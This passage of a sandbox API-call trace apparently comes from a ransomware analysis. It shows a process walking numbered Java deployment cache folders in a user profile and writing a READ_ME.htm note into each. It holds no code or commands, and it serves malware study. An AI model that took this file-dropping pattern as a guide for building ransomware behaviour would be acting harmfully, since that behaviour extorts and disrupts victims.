lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4", lpFilePart=0x0) returned 0x43 [0147.699] SetErrorMode (uMode=0x1) returned 0x0 [0147.700] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\4\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.799] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.799] SetErrorMode (uMode=0x0) returned 0x1 [0147.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4", lpFilePart=0x0) returned 0x43 [0147.799] SetErrorMode (uMode=0x1) returned 0x0 [0147.799] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\4\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.800] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.800] SetErrorMode (uMode=0x0) returned 0x1 [0147.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0147.800] SetErrorMode (uMode=0x1) returned 0x0 [0147.800] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\4\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.802] SetErrorMode (uMode=0x0) returned 0x1 [0147.802] GetFileType (hFile=0x1d0) returned 0x1 [0147.803] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fd898*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29fd898*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.804] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40", lpFilePart=0x0) returned 0x44 [0147.804] SetErrorMode (uMode=0x1) returned 0x0 [0147.804] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\40\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.805] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.805] SetErrorMode (uMode=0x0) returned 0x1 [0147.806] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40", lpFilePart=0x0) returned 0x44 [0147.806] SetErrorMode (uMode=0x1) returned 0x0 [0147.806] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\40\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.806] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.806] SetErrorMode (uMode=0x0) returned 0x1 [0147.807] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.807] SetErrorMode (uMode=0x1) returned 0x0 [0147.807] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\40\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\40\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.807] SetErrorMode (uMode=0x0) returned 0x1 [0147.807] GetFileType (hFile=0x1d0) returned 0x1 [0147.808] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a03790*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a03790*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.809] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41", lpFilePart=0x0) returned 0x44 [0147.809] SetErrorMode (uMode=0x1) returned 0x0 [0147.809] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\41\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.809] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.810] SetErrorMode (uMode=0x0) returned 0x1 [0147.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41", lpFilePart=0x0) returned 0x44 [0147.810] SetErrorMode (uMode=0x1) returned 0x0 [0147.810] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\41\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.810] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.810] SetErrorMode (uMode=0x0) returned 0x1 [0147.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.811] SetErrorMode (uMode=0x1) returned 0x0 [0147.811] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\41\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\41\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.811] SetErrorMode (uMode=0x0) returned 0x1 [0147.811] GetFileType (hFile=0x1d0) returned 0x1 [0147.811] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a09688*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a09688*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42", lpFilePart=0x0) returned 0x44 [0147.813] SetErrorMode (uMode=0x1) returned 0x0 [0147.813] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\42\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.814] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.814] SetErrorMode (uMode=0x0) returned 0x1 [0147.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42", lpFilePart=0x0) returned 0x44 [0147.814] SetErrorMode (uMode=0x1) returned 0x0 [0147.814] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\42\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.814] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.815] SetErrorMode (uMode=0x0) returned 0x1 [0147.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.815] SetErrorMode (uMode=0x1) returned 0x0 [0147.815] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\42\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\42\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.816] SetErrorMode (uMode=0x0) returned 0x1 [0147.816] GetFileType (hFile=0x1d0) returned 0x1 [0147.816] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0f580*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a0f580*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43", lpFilePart=0x0) returned 0x44 [0147.818] SetErrorMode (uMode=0x1) returned 0x0 [0147.818] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\43\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.818] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.819] SetErrorMode (uMode=0x0) returned 0x1 [0147.819] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43", lpFilePart=0x0) returned 0x44 [0147.819] SetErrorMode (uMode=0x1) returned 0x0 [0147.819] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\43\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.819] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.819] SetErrorMode (uMode=0x0) returned 0x1 [0147.819] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.820] SetErrorMode (uMode=0x1) returned 0x0 [0147.820] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\43\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\43\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.821] SetErrorMode (uMode=0x0) returned 0x1 [0147.821] GetFileType (hFile=0x1d0) returned 0x1 [0147.821] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a15478*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a15478*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.822] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44", lpFilePart=0x0) returned 0x44 [0147.822] SetErrorMode (uMode=0x1) returned 0x0 [0147.823] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\44\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.824] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.824] SetErrorMode (uMode=0x0) returned 0x1 [0147.824] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44", lpFilePart=0x0) returned 0x44 [0147.824] SetErrorMode (uMode=0x1) returned 0x0 [0147.824] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\44\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.824] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.825] SetErrorMode (uMode=0x0) returned 0x1 [0147.825] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.825] SetErrorMode (uMode=0x1) returned 0x0 [0147.825] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\44\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\44\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.825] SetErrorMode (uMode=0x0) returned 0x1 [0147.826] GetFileType (hFile=0x1d0) returned 0x1 [0147.826] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1b370*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a1b370*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.827] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45", lpFilePart=0x0) returned 0x44 [0147.827] SetErrorMode (uMode=0x1) returned 0x0 [0147.827] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\45\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.828] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.828] SetErrorMode (uMode=0x0) returned 0x1 [0147.828] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45", lpFilePart=0x0) returned 0x44 [0147.828] SetErrorMode (uMode=0x1) returned 0x0 [0147.828] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\45\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.828] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.829] SetErrorMode (uMode=0x0) returned 0x1 [0147.829] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\45\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.829] SetErrorMode (uMode=0x1) returned 0x0 [0147.829] SetErrorMode (uMode=0x0) returned 0x1 [0147.829] GetFileType (hFile=0x1d0) returned 0x1 [0147.829] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a21268*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x2a21268*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.831] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\46", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: 